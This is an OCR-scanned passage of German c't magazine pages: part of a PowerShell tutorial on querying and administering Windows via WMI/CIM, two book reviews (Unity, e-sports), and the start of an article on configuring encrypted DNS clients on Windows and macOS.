chen Tipparbeit sparen soll. Eigentlich
kommuniziert man mit dem WMI-System

niamlich iber komplette WQL-Abfragen,
englisch Queries, die nach dem folgenden
Schema aufgebaut sind:

select <Attributliste>
from <Klassenname>
where <Filterausdruck>

Die Attributliste kann dabei einen oder
mehrere, durch Kommas getrennte Eigen-
schaftennamen enthalten. Will man alle
moglichen Attribute geliefert bekommen,
schreibt man hier einfach ein * hin. Klas-
senname und Filterausdruck entsprechen
dem bislang Beschriebenen. Der Filter-
ausdruck samt dem Schliisselwort where
kann weggelassen werden, dann liefert
die Abfrage alle Eintrdge der angespro-
chenen Klasse. Weder bei den Schliissel-
wortern noch bei Klassen- oder Attribut-
namen spielt die Grof$-/Kleinschreibung
eine Rolle; Leerzeichen und Zeilenumbrii-
che konnen beliebig eingefligt werden.

Eine ausformulierte Abfrage verdaut
Get-CimInstance (genauso wie Get-Wmi-
Object) im Parameter Query. Beispielswei-
se liefert der Aufruf

gcim -Query "
select Name, Size, FreeSpace
from Win32_LogicalDisk
where Size > 0"

die an den Rechner angeschlossenen Da-
tentrdger samt Kapazitit und freiem Spei-
cherplatz. Der Filter (where Size > 0)
schliefit Wechsellaufwerke ohne eingeleg-
tes Medium aus.

Fiir die direkte Anzeige in einer inter-
aktiven PowerShell-Sitzung und solange
Sie sich nur auf dem lokalen Rechner um-
sehen, bringt die Angabe einer Attribut-
liste keinen Vorteil. Die Ausgabe per Ta-
belle oder Liste enthélt nach wie vor alle
Felder; die nicht gewihlten bleiben ein-
fach leer. Wenn Sie allerdings per Skript
Informationen von mehreren Rechnern in
Threm Netzwerk einsammeln, spart eine
Feldliste, die nur das enthilt, was Sie auch
weiterverarbeiten wollen, ein paar Milli-
sekunden bei der Ausfiihrung.

Sortieren konnen Sie iibrigens per
WQL nicht. Falls Sie SQL sprechen: Die
Klausel order by fehlt hier. Selbstverstand-
lich konnen Sie aber das Ergebnis einer
Abfrage an das Cmdlet Sort-Object (oder
kurz sort) weiterleiten und so in eine be-
liebige Reihenfolge bringen.

Schreiben
Mit WMI kann man nicht nur Informatio-
nen abfragen, sondern manche Konfigu-
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rationsdaten auch dndern oder sonstige
Aktionen auf Objekten durchfithren. Wel-
che Attribute von Instanzen einer gegebe-
nen WMI-Klasse tiberschreibbar sind, fin-
det der folgende, etwas uniibersichtliche
Aufruf heraus:

(Get-CimClass Win32_Printer).
CimClassProperties |
? {$_.Qualifiers.Name °
-contains "write"} |
select Name

Das Feld CimClassProperties einer WMI-
Klasse enthalt die Eigenschaften ihrer In-
stanzen. Jede Eigenschaft besitzt wieder-
um einen Satz von Qualifiers, die unter
anderem die erlaubten Zugriffsarten be-
schreiben.

Einfacher als die Eingabe dieses kryp-
tischen Befehls ist es wahrscheinlich, die
Suchmaschine Ihres Vertrauens nach dem
Klassennamen zu befragen. Unter den
ersten Treffern sollten Sie eine Seite auf
docs.microsoft.com mit den Referenz-
Informationen zu dieser Klasse finden. Zu

jedem Attribut ist dort entweder ,,Access
type: Read-only“ oder ,Access type:
Read/write” vermerkt.

Im Falle der Klasse Win32_Printer
finden Sie so heraus, dass diese unter an-
derem eine beschreibbare Eigenschaft
namens Comment besitzt. Um sie neu zu
setzen, gibt es verschiedene Befehlsfol-
gen; am eingdngigsten erscheint uns
diese hier:

$drucker = gcim Win32_Printer °
-filter "Default = TRUE"
$drucker.Comment =
"Mein Lieblingsdrucker"
$drucker | Set-CimInstance

Der erste Aufruf sucht aus den dem Sys-
tem bekannten Druckern den Standard-
drucker heraus. Dessen Feld Comment wird
anschlieflend neu gesetzt. Schliefilich
ibertrégt Set-CimInstance (oder kurz scim)
die gednderten Eigenschaften wieder ins
System. Weitere Befehlsfolgen, die das-
selbe leisten, stellt der Aufruf help scim
-Examples vor.
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Methoden

Einige WMI-Klassen stellen auch Metho-
den bereit, mit denen sich Aktionen auf
Objekten auslosen lassen. Im Falle der
Klasse Win32_Printer gehort dazu unter
anderem der Aufruf CancelAllJobs (), wie
ein Blick auf die Ausgabe von

(Get-CimClass Win32_printer).
CimClassMethods

verrat. Zum Aufrufen solcher Methoden
dient das Cmdlet Invoke-CimMethod:

$drucker = gcim Win32_Printer °
-Filter "Name like 'HP LaserJet%'"

$drucker | Invoke-CimMethod °
-MethodName CancelAllJobs

Das Feld Returnvalue des zurlickgegebe-
nen Objekts informiert iiber Erfolg oder
Misserfolg der Aktion: O heifdt ,,alles in
Ordnung®, die Bedeutung anderer Werte
steht in der Referenz zu der WMI-Klasse
auf docs.microsoft.com.

Benotigt eine Methode Argumente,
muss man ihr die im Parameter Arguments
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Das Programm wbemtest ist im Lieferumfang von Windows enthalten.
Seine Anzeige wird schnell uniibersichtlich, vermittelt aber Zusammen-
héange zwischen Objekten, an die man sonst schwer herankommt.

von Invoke-CimMethod in Form eines

Dictionary iibergeben:

$drucker | Invoke-CimMethod °
-MethodName RenamePrinter °
-Arguments @{NewPrinterName =

"Mein Laserdrucker"}

Fernsteuerung
Wie bereits erwahnt: Seine wahre Leis-
tungsfihigkeit entfaltet WMI erst, wenn
man es dazu benutzt, iibers Netz auf an-
dere Rechner zuzugreifen. Am einfachs-
ten geht das innerhalb einer Doméne: Die
Rechner vertrauen demselben Doménen-
controller und kennen dieselben Benut-
zerkonten. Wichtig ist nur, dass auf allen
beteiligten PCs der Dienst WinRM lduft
und nicht durch Firewall-Einstellungen
ausgebremst wird.

Letzteres ist auch notig, wenn keine
Doméne im Spiel ist. Am einfachsten stellt
man diese Voraussetzungen sicher, indem
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man in eine PowerShell oder eine Ein-
gabeaufforderung mit Administrator-
rechten den Befehl

winrm quickconfig

eingibt. Er nimmt alle notwendigen An-
derungen an der Dienste- und der Netz-
werkkonfiguration vor, fragt dabei aber
vor jedem Schritt noch mal um Erlaubnis.
Moglicherweise beschwert er sich, dass
der Netzwerkverbindungstyp auf ,,Offent-
lich* festgelegt ist. Auf ,,Privat konnen
Sie ihn andern, indem Sie die Einstellun-
gen Offnen, dort die Seite ,,Netzwerk und
Internet/Status® aufrufen und den Link
»Verbindungseigenschaften andern“ an-
Kklicken.

Wird das Vertrauen zwischen den Be-
nutzerkonten auf den beteiligten Rech-
nern nicht durch eine Domanenmitglied-
schaft sichergestellt, miissen Sie auf der
Maschine, von der aus Sie die Abfragen
ausfithren wollen, noch die Rechner,

deren WMI-Dienst Sie ansprechen wollen,
in die Liste der ,,Trusted Hosts* aufneh-
men. Das funktioniert in einer mit Admin-
Rechten laufenden PowerShell mit einem
Aufruf nach dem Muster

Set-Item WSMan:\localhost\Client\;
bTrustedHosts -Value 'Hostl,Host2'

Wollen Sie die Liste nicht komplett erset-
zen, sondern ihr Hosts hinzufiigen, geben
Sie zusitzlich noch den Schalter -Concate-
nate an.

Um aufeinen anderen Rechner zuzu-
greifen, konnen Sie innerhalb einer Do-
mane einfach den Parameter -Computer-
Name verwenden, den praktisch alle WMI-
und CIM-Cmdlets verstehen. Ohne das
Vertrauen einer Domine sind zwei Schrit-
te mehr notig: Zunachst miissen Sie sich
ein PSCredential-Objekt besorgen, das
einen auf dem Zielrechner eingerichteten
Benutzernamen und das dazugehorige
Kennwort enthilt. Das bekommen Sie mit
dem Aufruf

$cred = Get-Credential

Der offnet eine der {iblichen Dialogboxen
zur Eingabe von Name und Passwort. In
Skripten, die vollautomatisch ablaufen
sollen, ist das allerdings recht unpraktisch.
Ein alternativer Weg, an ein PSCredential
zu kommen, sieht so aus:

$pw =
-AsPlainText -Force
$cred = New-Object °

System.Management.Automation.;

LPSCredential ("Alice", $pw)

ConvertTo-SecureString "pssst"

Zu beachten ist dabei allerdings, dass das
Skript nun den Benutzernamen und das
Kennwort eines Benutzerkontos enthalt,
das auf dem Zielrechner moglicherweise
sogar Admin-Rechte hat. Das Skript sollte
also nicht in falsche Hénde geraten!

Mit dem Ergebnis erstellen Sie in bei-
den Fillen eine neue CIM-Session auf
dem Zielrechner:

$sess = New-CimSession °
-ComputerName Hostl °
-Credential $cred

Die konnen Sie dann in dem Parameter
CimSession an den Remote auszufiihren-
den Befehl iibergeben, also zum Beispiel:

gcim Win32_Printer -CimSession $sess

Zum Schlieflen der Remote-Sitzung dient
der Befehl Remove-CimSession:

$sess | Remove-CimSession
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Namensrdume

Zu den Merkmalen von WMI-Klassen ge-
hort es, dass sie in sogenannte Namens-
rdume (englisch: Namespaces) einsortiert
sind. Die sind wiederum wie die Ordner
aufeinem Datentrager hierarchisch orga-
nisiert; die Wurzel heifdt root. Alle Klas-
sen, von denen bisher die Rede war, fin-
den sich im Namensraum root\CIMV2, der
auch der bei Weitem grofite und interes-
santeste ist. Deshalb beziehen sich die
WMI- und CIM-Befehle auch auf ihn,
wenn nichts anderes angegeben ist.

Im WMI Explorer konnen Sie die
Klassen eines anderen Namensraums er-
forschen, indem Sie den Mentibefehl ,,Ac-
tion\Connect to host/namespace” aus-
wahlen und auf das Buch-Icon neben dem
Eingabefeld ,,Name space” klicken.

In der PowerShell geben Sie einen an-
deren als den Standard-Namensraum
iiber den Parameter Namespace an, den so
gut wie alle WMI- und CIM-Befehle ver-
stehen. Namespaces sind ihrerseits Objek-
te; sie gehoren zur Klasse __Namespace. Die

Connect to %

Host Ionsalost -] &) OK
Mame space |roothciny2 - Bancel |
A4 Choase namespace X
Ld [E- Raoot ~
2| e besipton
B me_409
- ms_d407 Cancel

[ DEF&ULT
- s 409
s 407

mdrm
Security
[ pover
ms_409
- TeminalServices »

Die WMI-Klassen sind in sogenannten
Namespaces organisiert. Der wichtigste
heiBt root\CIMV2.

zwei Unterstriche am Anfang des Namens
kennzeichnen sie als Systemklasse. Alle
Top-Level-Namensraume unterhalb von
root liefert

gcim __Namespace -Namespace root

Ein PowerShell-Skript zu schreiben, das
samtliche Namensridume rekursiv auf-

WMI | Know-how

listet, {iberlassen wir Thnen als Ubungs-
aufgabe.

Ausblick
Ein spannendes Thema im Zusammen-
hang mit WMI und CIM sind die WMI-
Events: Damit kann man Skripte schrei-
ben, die automatisch auf Anderungen von
WMI-Objekten reagieren. Wie das genau
funktioniert, werden wir in einer der
néchsten ¢’t-Ausgaben beschreiben.
Aber auch ohne dieses Feature lassen
sich mit den hier vorgestellten Werkzeu-
gen, Klassen und Methoden spannende
Skripte schreiben. Viel Spaf beim Experi-
mentieren! (hos@ct.de) c&
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Buchkritik | Unity, E-Sport

Thomas Theis
Einstieg in Unity
2D- und 3D-Spiele entwickeln

Rheinwerk Computing, Bonn 2018
Einstieg in U nity (2. Aufl.)

B ISBN 978-3-8362-6332-0
454 Seiten, 30 €
(PDF-/Epub-E-Book: 27 €,
Druckausgabe mit E-Book: 35 €)

20 und 30-Spasle errtuickein

€ Rheinwerk

Spiele aus eigener Hand

Mit der Game-Engine Unity erschafft man Spiele aller
Art fiir Windows, macOS, Webbrowser, Android, iOS
und sogar Spielkonsolen. Thomas Theis hilft bei den
ersten Schritten zur Entwicklung eigener Unity-
Projekte mit C#.

Unity ist in Entwicklerstudios ebenso daheim wie in der Aus-
bildung fiir Game Designer sowie in Hobbyrdumen von Frei-
zeit-Spielemachern. Es gibt ein gestaffeltes Vergilitungsmodell
fiir unterschiedliche Verwendungszwecke; mit ,,Unity Perso-
nal“ kann man kostenlos arbeiten. Auf dieser fiir Lernzwecke
vorziiglichen Grundlage baut Thomas Theis seinen Grundkurs
auf. Fiirs Scripting verwendet er C#, als Entwicklungsumge-
bung wahlt er MonoDevelop.

Das Buch ist kein Lehrgang in C#-Programmierung; der
Autor beschrinkt sich auf diejenigen Sprachelemente, die in
den vorgestellten Unity-Projekten Verwendung finden. Pro-
grammiernovizen, denen an Wissen zu C#-Grundlagen und
zum Umgang mit einer Entwicklungsumgebung gelegen ist,
brauchen ergidnzende Literatur.

Im Vordergrund steht bei Theis die Umsetzung einer bun-
ten Auswahl von Spielideen. Das Spektrum reicht vom 2D-
Retro-Shooter bis zur 3D-Tetris-Variante. Der Autor zeigt an-
schaulich, aus welchen Grundbestandteilen etwa Arcade-Klas-
siker bestehen, und fiihrt vor, wie man solche Spiele mit Unity
umsetzt und weiterentwickelt. Objekteigenschaften, Szenen,
Assets, Trigger, die Simulation von Physik, das Anlegen eines
Terrains, Blickwinkel in 3D: Die wichtigsten klassischen An-
forderungen der Spieleentwicklung finden sich in den 17 doku-
mentierten Projekten wieder.

Dabei liefert dieses Buch in erster Linie Grundgeriiste. An-
ders als der Hinweis auf dem Buchdeckel erwarten lasst, ist
insbesondere das ziemlich umfangreiche Projekt eines Break-
out-Klons nicht wirklich spielbar, sondern bleibt eine frag-
mentarische Anregung. Alle Beispiele sowie Vorlagen stehen
kennwortgeschiitzt auf der Rheinwerk-Website zum Download
bereit.

»Einstieg in Unity“ eignet sich gut, um mit einem Werk-
zeug aus der Profi-Praxis in Techniken der Spieleentwicklung
hineinzuschnuppern. Einsteiger finden hier viele Anregungen
und werden motiviert, eigene Projekte zu wagen. C#-Program-
mierer aus der Anwendungsecke erweitern spielerisch ihren
Horizont. (Ulrich Schmitz/psz@ct.de)
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Beruf: Computerspieler

Klassische Kinder-Berufstrdaume wie Feuerwehrmann
oder Pilot sind out - mancher mit Videospielen
aufgewachsene Teenager wiinscht sich, als Profi-
Gamer seinen Lebensunterhalt zu verdienen. Der
Osterreicher Mirza Jahic hat seine Leidenschaft zum
Beruf gemacht. In seinem Buch versucht er sich als
Coach fiir kommende Vielleicht-Spielerstars.

Der 27-jahrige Jahic, der mit der EA-Fuf$ballsimulation FIFA
in die Riege der E-Sport-Prominenz aufgestiegen ist, gibt mit
seinem personlichen Markenzeichen ,Never Give Up“ den
Leitspruch seines Buches vor. Er will Hobbyspielern und E-
Sport-Anfangern vermitteln, was eine Karriere als beruflicher
Vollzeitspieler bedeuten kann. In einem Rundumschlag be-
leuchtet er dabei die Welt des professionell betriebenen Vi-
deospielens mit stetem Training, internationalen Wettbewer-
ben, Fankontakten und den Auswirkungen auf Beziehungen
zu Eltern und Freunden. Er sagt auch einiges zu Verdienst-
moglichkeiten wihrend der aktiven E-Sport-Karriere und da-
nach.

Die grofde Bandbreite der Aspekte hat eine Kehrseite: Das
schmale Taschenbuch geht nirgends wirklich in die Tiefe. Pla-
kativ und oberflichlich wirken auch die Motivations- und
Selbstorganisationstipps, die Jahic mit kurzen Beispielen aus
seiner Spielerkarriere illustriert und die der Leser auf sein All-
tagsleben iibertragen soll.

Auf der Habenseite steht, dass der Autor einen spiirbar
ehrlich gemeinten, kurzweiligen und in einfacher Sprache ge-
haltenen Einblick in die durchaus komplexe Materie des Profi-
E-Sports liefert. Leser sollten Interesse fiir die FIFA-Serie von
EA Sports mitbringen. Andere E-Sport-Welten wie Counter-
strike, League of Legends und Overwatch tauchen nur am
Rande auf.

Kritische Naturen spotten nicht ganz unberechtigt iiber die
in solchen Blchern vermittelte Mutmacherei auf ,,Tschakka!
Du schaffst es!“-Niveau. In den Hédnden allzu enthusiastischer
Traumer kann dergleichen gefahrlich sein, wenn es das Bemii-
hen um Ausbildung und die Schaffung realistischer Berufsper-
spektiven verdringt. Wie das Supermodel oder der Influencer-
Star bleibt auch der gut verdienende Profi-Computerspieler ein
Exot. E-Sport-Fans, die das nicht vergessen, gewinnen durch
Jahics Buch aber interessante Einsichten.

(Reinhard Schmitz/psz@ct.de)

Mirza Jahic (aka ,Never Give Up“)

Vom Hobbyzocker
zum Pro-Gamer

Polarise (dpunkt), Heidelberg 2019
(Der Buchverlag gehort wie 't zu
Heise Medien.)

ISBN 978-3-9476-1910-8

152 Seiten, 17 €
(Epub-/Kindle-E-Book: 13 €)
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Auskunft abgedichtet

So schitzt DNS-Kommunikation lhre Privatsphare

Egal, welche Ziele Sie im Internet
aufsuchen: Fast immer sendet lhr
System dabei Metadaten in Form
von DNS-Informationen. Damit
kénnen auch Dritte erfassen,
welche Seiten Sie im Internet
besuchen. Inzwischen spezifiziert
die Internet Engineering Task Force
Verfahren, die das unterbinden.
Wir zeigen, wie man damit
Leckagen auf Linux, macOS und
Windows stopft.

Von Carsten Strotmann

hne Anfragen an das Domain Name
System (DNS) lésst sich kaum noch
ein Internet-Dienst nutzen. Die meisten
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DNS-Anfragen laufen aber im Klartext ab
(siehe Kasten ,,Metadaten fiir Nutzerpro-
file“). Lange Zeit war das kein Problem.
Doch seit Nachrichtendienste und sogar
Werbetreibende DNS-Anfragen als leicht
zugingliche Datenquelle zum Erstellen
von Nutzerprofilen verwerten, entwickeln
weltweit mehrere Arbeitsgruppen Proto-
kolle, die das mittels Verschliisselung un-
terbinden sollen. Am bekanntesten sind
DNS over TLS und DNS over HTTPS -
kurz DoT und DoH.

Inzwischen sind erste Implementie-
rungen erhiltlich. Am meisten Aufmerk-
samkeit, wenn auch zunichst negative,
zog bisher Mozilla mit seinen DoH-Funk-
tionen im Firefox-Browser auf sich (siehe
S. 189). Doch damit dichtet man nur den
Browser-Verkehr ab. Man mdchte aber die
komplette DNS-Kommunikation eines
PCs verschliisseln. Und um DNS-Anfra-

gen breit zu streuen und so das Erstellen
von Profilen zu erschweren, will man
mehr als einen DNS-Resolver verwenden
und nicht etwa den von Google (8.8.8.8).
Fiir beides eignen sich sowohl DoT-
als auch DoH-Client-Programme. Beide
Anwendungsgruppen erhohen die Sicher-
heit und Privatsphére der DNS-Abfragen
durch Verschliisselung und Server-Au-
thentisierung. Als Nebeneffekt bekommt
man in unzuverldssigen Netzwerken -
etwa im Mobilfunk oder bei ungiinstiger
WLAN-Ausleuchtung - eine héhere Zu-
verlassigkeit der Namensauflosung [2].

Zuverlassigere DNS-
Abfragen

Von DoT und DoH profitieren mobile Ge-
rite wie Laptops, Tablets und Mobiltele-
fone also zusitzlich. Das kommt daher,
dass der verschliisselte DNS-Verkehr auf
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dem Transmission Control Protocol auf-
setzt (TCP). Mit TCP konnen Sender
Ubertragungsfehler auf der Strecke erken-
nen und durch Sendewiederholungen
kompensieren. Die DNS-Auflosung dau-
ert dann zwar langer (Latenz nimmt zu),
ist aber zuverldssiger. Herkommliches
DNS verwendet normalerweise das User
Datagram Protocol (UDP), das keine Feh-
lererkennung und -Korrektur enthalt.
Prinzipiell kann ein herkdémmlicher DNS-
Client zwar auch TCP nutzen, aber das
passiert nur in Ausnahmen (z. B. wenn die
DNS-Antwort fiir ein UDP-Paket zu grof3
ist). Bei DoT und DoH ist TCP hingegen
Standard.

DoT- und DoH-Programme sind
DNS-Proxies. Theoretisch eignen sie sich
also auch dazu, den ausgehenden DNS-
Verkehr zu zensieren. Das geht zum Bei-
spiel mit dem beliebten Pi-hole fiir den
Klein-Computer Raspberry Pi . Pi-hole
verpasst Plappermaulern wie SmartTVs
einen individuellen Maulkorb und wahrt
so beispielsweise gegeniiber TV-Sendern
die Privatsphédre. Unter den hier vorge-
stellten DoT- und DoH-Clients eignen
sich aber nur DNScrypt und Unbound zur
Steuerung des ausgehenden DNS-Ver-
kehrs. Wie das geht, haben wir ausfiihrlich
beschrieben [3].

Die neue Android-Version namens
Pie setzt von Haus aus schon DNS-over-
TLS ein [4]. iOS kann man mit der App
DNSCloak nachriisten. Sie verschliisselt
den DNS-Verkehr entweder per DoH-
oder per proprietarem DNSCrypt-Proto-
koll (siehe ct.de/yzp7). In diesem Artikel
erklaren wir, wie man aktuelle DoT- und
DoH-Clients auf Windows, macOS und
Linux einrichtet.

In den folgenden Beispielen setzen
wir der Ubersichtlichkeit halber nur we-
nige DNS-Resolver ein. Wenn Sie die An-
leitungen umsetzen, sollten Sie aber mog-
lichst viele Resolver auf Thren Systemen
konfigurieren. Auf den Webseiten des
Projekts ,,DNS Privacy“ gibt es umfang-
reiche Listen [5, 6].

Sie finden sie iiber ct.de/yzp7, wo wir
auch samtliche weitere Links und Konfigu-
rationsdateien veroffentlichen, die man
zum Umsetzen dieses Artikels benotigt.
Zudem ist es sinnvoll, von Zeit zu Zeit die
Abfragegeschwindigkeit zu messen und
langsame DNS-Resolver zumindest vorii-
bergehend auszukommentieren. Fiir Abfra-
gemessungen kann man das Tool dig ver-
wenden (z. B. dig ct.de). Die Dauer, bis die
Anfrage beantwortet ist, gibt das Programm
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Simple-DNSCrypt lauft auf Windows als Hintergrunddienst.

im Feld ,,Query time“ an (z. B. 22 msec).
Kiinftig konnten DoT- und DoH-Client-
Programme passende DNS-Resolver
selbst auswihlen und dynamisch konfigu-
rieren, je nachdem, welche Auswahlkrite-
rien Nutzer in den Einstellungen aktiviert
haben. Die Internet Engineering Task
Force (IETF) arbeitet aktuell an solchen
Spezifikationen [7].

Bis diese Methoden als RFC verab-
schiedet und in den Software-Produkten
implementiert sind, miissen Sie die DNS-
Resolver Threr Wahl manuell konfigurie-
ren.

Proxy fiir alle Anwendungen

Die DoT- und DoH-Programme richtet
man lokal auf allen Rechnern ein, deren
DNS-Kommunikation verschliisselt erfol-
gen soll. Sie nehmen DNS-Anfragen stell-
vertretend fiir einen DNS-Resolver entge-

gen (Proxy) und erwarten sie wie tiblich
auf dem Port 53 und zwar auf den Loop-
back-Adressen des Rechners, auf dem sie
eingerichtet sind. Das sind 127.0.0.1 (IPv4)
und ::1 (IPv6). Daher kann auf einem
Rechner immer nur ein Programm aktiv
sein. Um ein anderes zu testen, muss man
das aktuell laufende gemifs dessen Anlei-
tung deaktivieren oder deinstallieren.
DoH hat den Vorteil, dass es densel-
ben Ziel-Port wie HTTPS-Webdienste
nutzt, namlich 443. Dieser Port ist auf den
allermeisten Firewalls offen, insbesonde-
re in 6ffentlichen WLANs. DoT benutzt
hingegen normalerweise den eigenen Port
853, der auf manchen Firewalls gesperrt
ist. Man kann fiir DoT zwar auch einen
anderen Port verwenden, aber nur, wenn
der Server einen solchen anbietet. Die
meisten Anbieter von DoT-Resolvern kon-
figurieren diese jedoch nur fiir Port 853.

Metadaten fiir Nutzerprofile

Das urspriingliche DNS-Protokoll ver-
schickt Anfragen zu Domainnamen an
DNS-Server im Klartext und erhélt von
diesen die Antworten ebenso im Klartext
- die IP-Adressen, unter denen die Web-
server von angefragten Domains zu fin-
den sind. Das nutzen Nachrichtendienste,
um Nutzerprofile zu erstellen und manche
Betreiber von DNS-Servern werten die
DNS-Anfragen flir Werbezwecke aus.
Manche Organisationen und Institutio-

nen, die die Privatsphare wahren wollen,
halten dagegen, indem sie eigene DNS-
Server anbieten, und zusichern, den
DNS-Verkehr nicht zu protokollieren.
Aber auf dem Weg zu den Servern kon-
nen Dritte die Anfragen mitlesen. Dieser
Weg lasst sich mit speziellen Methoden
verschlisseln. Noch ist aber keine davon
Bestandteil der gangigen Desktop-Be-
triebssysteme. Man kann sie aber mittels
einiger Programme nachristen.
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Networking

Connect using
@ Red Hat V10 Bthemet Adapter

This connection uses the following ems

v B Chent for Microsoft Networks
L4 ?He and Printer Shanng for Microsoft Nety
v 58 Microsolt Network Monitor 3 Driver
¥ B005 Packet Scheduer
¥ 4 Intemet Protocol Viersion 4 (TCP/IPv4)
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2 Microsoft LLDP Protocol Driver

|

Description

Transmission Control Protocol/intemet Protocol|
wide area network protocol that provides commy
across diverse interconnected networks.

L

intunel Protocol Version 4 (TCP/IPwd) Properties x
)

| General Alternate Configuration
| You can get [P settings assigned automatically if your network supports

this capabiity. Otherwise, you need to ask your network administrator
for the appropriate [P settings.

(@) Dbtan an [P address automatically
(O Uge the following [P address:

() Obtain DNS server address automatically
(@) Use the following DNS server addresses:
Preferred DNS server:

Alternate DNS server:

0K [[] vaidate settings upon exit

127. 0 0.1
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So schickt Windows seine Anfragen an einen lokalen DNS-Proxy.

Windows, Simple-DNSCrypt
Mitglieder des Projekts DNSCrypt entwi-
ckeln schon seit Jahren Software fiir die
verschliisselte Kommunikation zwischen
DNS-Client und Resolver. Das DNSCrypt-
Protokoll ist zwar 6ffentlich dokumentiert,
wurde aber nicht als Internet-Standard ver-
abschiedet und fand daher bisher keine
weite Verbreitung. Die in Go geschriebene
Version 2 der DNSCrypt-Software ist nicht
nur fiir das eigene DNSCrypt-Protokoll
ausgelegt, sondern auch fiir DoH.

Simple-DNSCrypt ist eine Implemen-
tierung fiir Windows. Sie setzt mindestens
Windows 7 SP1 und das .NET Framework
4.6.1 voraus. Wir haben die Software rei-
bungslos auf dem aktuellen Windows 10
eingesetzt.

Nach der Installation lduft die Soft-
ware im Hintergrund als Windows-
Dienst. Die gewtinschten DNSCrypt- und
DoH-Server kann man in einem grafi-
schen Konfigurationsprogramm einstel-
len, das in der Task-Leiste sitzt.

In der Standardeinstellung nutzt das
Programm alle ihm bekannten Server, die
DNS-Antworten per DNSSEC validieren
und laut eigenen Angaben keine Nutzer-
aktivititen aufzeichnen. Wer fiir den In-
ternet-Zugang IPv6 nutzt, sollte in der
GUI die Unterdriickung von IPv6-DNS-
Antworten ausschalten (Einstellung
,»,Block IPv6“).

Damit Windows DNS-Anfragen an
Simple-DNSCrypt stellt, muss man in der
TCP/IP-Konfiguration fiir den DNS-Re-
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solver die IP-Adressen 127.0.0.1 (IPv4)
und ::1 (IPv6) eintragen. Anschliefdend
kann man in Simple-DNSCrypt im Tab
»Query Log" verfolgen, wie die Software
DNS-Anfragen bearbeitet.

Wenn Sie sichergehen wollen, dass
DNS-Anfragen nicht mehr unverschliis-
selt iber UDP oder TCP iibertragen wer-
den, installieren Sie Wireshark und
schneiden damit ein wenig Verkehr mit,
wihrend Sie verschiedene Webseiten
aufrufen. Aktivieren Sie anschliefdend
den Display-Filter ,DNS“. Dann sollten
in der Anzeige keine DNS-Pakete zu
sehen sein.

Windows, Stubby

Ein Teil der IETF-Arbeitsgruppe ,,DNS
Privacy“ implementiert die dort festgeleg-
ten Spezifikationen fiir DoT und DoH
selbst im Programm Stubby. Aktuell
bringt Stubby nur DoT sowie eine fertige
Konfiguration mit (Version 0.2.3). DoH
wollen die Programmierer mit der néchs-
ten Release-Version nachreichen.

Uber die Stubby-Homepage kann
man einen Installer fiir Windows 8 und
Windows 10 beziehen. Derzeit liegt das
Programm nicht als Windows-Dienst vor.
Man kann es aber beim Booten automa-
tisch als Scheduled-Tasks starten lassen.
Geben Sie in der Eingabeaufforderung ein:

schtasks /create /tn Stubby /XML "C:\;
bProgram Files\Stubby\stubby.xml" /RU;
b <Benutzername>

Im Installationspaket sind PowerShell-
Skripte enthalten, mit denen sich der
DNS-Client des Windows-Systems auf
Stubby umstellen ldsst. Die Skripte be-
rlicksichtigen aber nur die IPv4-Konfigu-
ration. Wenn Sie IPv6 nutzen, miissen Sie
in der IPv6-Netzwerkkonfiguration die
DNS-Einstellung per Hand auf die Loop-
back-Adresse ::1 umstellen.

Windows, Unbound

Alternativ zu Stubby und Simple-
DNSCrypt kann man den vielseitigen
DNS-Resolver Unbound verwenden. Wir
haben fiir Unbound diverse Anwendun-
gen vorgestellt, unter anderem als Ad-Blo-
cker [3]. Unbound eignet sich fiir DoT seit
der Version 1.7.1. Wir empfehlen die der-
zeit aktuelle Version 1.8.2. Diese spricht

r

|
Hetworking

General

Stubby fur

Windows: Prered OIS servess
Fur IPv6 muss Alternate DNS server:
man die DNS- )

Einstellung in
Windows per
Hand eintragen.

| Intemnet Protocol Version & (TCP/IPvE) Properties X
L |

TH  Youcan get IPvé settings assigned automatically if your network supports this capabiity.
Otherwise, you need to ask your network adminstrator for the appropriate [PvS settings

@) Qbtain an [Pv6 address automatically
_) Uige the followang [Pv6 address:

_) Otain DNS server address automabcally

@) Use the following DNS server addresses:

[l vaidate settings upon et

1
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DoT, auch wenn Unbound als Windows-
Dienst im Hintergrund lduft, und kann
Server-Zertifikate mittels des Windows
Zertifikat-Store priifen.

Einen Installer fiir Windows finden
Sie iiber ct.de/yzp7. Nach der Installation
schaltet man DoT in der Datei C:\Program
Files\unbound\service.conf ein. Unbound
sollte DNS-Anfragen an mehrere DoT-
Server verteilen. Wenn Sie nicht IPv6 fiir
den Internet-Zugang nutzen, sollten Sie
die Server mit IPv6-Adressen auskom-
mentieren. An vielen Anschliissen ist IPv6
aber aktiviert. Dann sieht eine Beispiel-
konfiguration so aus:

server:
verbosity: 0

directory: "%EXECUTABLE%"
logfile: "unbound.log"
tls-win-cert: yes
127.0.0.1

interface: ::1
access-control: 127.0.0.1/8 allow
::1/128 allow

interface:

access-control:
forward-zone:

# forwarding fuer alle Domain-Namen
name: "."

# Forwarding via DNS-over-TLS
forward-tls-upstream: yes

# Quad9

forward-addr: 2620:fe::fe@853#dns.
bquad9.net

forward-addr: 9.9.9.9@853#dns.
bquad9.net

forward-addr: 2620:fe::9@853#dns.
bquad9.net

forward-addr: 149.112.112.112@853#;
bdns.quad9.net

# Cloudflare DNS

forward-addr: 2606:4700:4700::1111@;
£853#cloudflare-dns.com

forward-addr: 1.1.1.1@853#cloudflare;
b-dns.com

forward-addr: 2606:4700:4700::1001@;
£853#cloudflare-dns.com

forward-addr: 1.0.0.1@853#;
bcloudflare§-dns.com

Um Unbound zu nutzen, tragt man in der
TCP/IP-Konfiguration des Windows-Sys-
tems den DNS-Resolver im Feld ,,DNS-
Server” ein - das sind die Loopback-
Adressen 127.0.0.1 (IPv4) und ::1 (IPv6).

macOS, Stubby

Stubby hat bisher nur auf macOS eine gra-
fische Bedienoberflache erhalten. Darti-
ber ldsst sich das Programm als System-
dienst einrichten und auch testen. Die
GUTI ist noch in einem sehr frithen Ent-
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[ X N ] StubbyManager

Service Status: Running Start
Test was OK! Test

DNS Servers: [} Use Stubby DNS

start using Stubby DNS.

L

Advanced...

Revert to default

Start the service then check this box and Apply settings to

Hit the Stop button to return to default DNS settings.

Ein Teil der IETF-
Arbeitsgruppe ,,DNS
Privacy” implementiert
die dort festgelegten
Spezifikationen fur DoT
selbst im Programm
Stubby. Das gibt es
bisher nur fir macOS
mit einem grafischen
User-Interface.

Stop

Restart

View the log...

Apply

wicklungsstadium; die Entwickler neh-
men Fehlerberichte und Vorschlige von
Benutzern gern entgegen.

Alternativ kann man Stubby auch
iiber das Terminal bedienen. Die Software
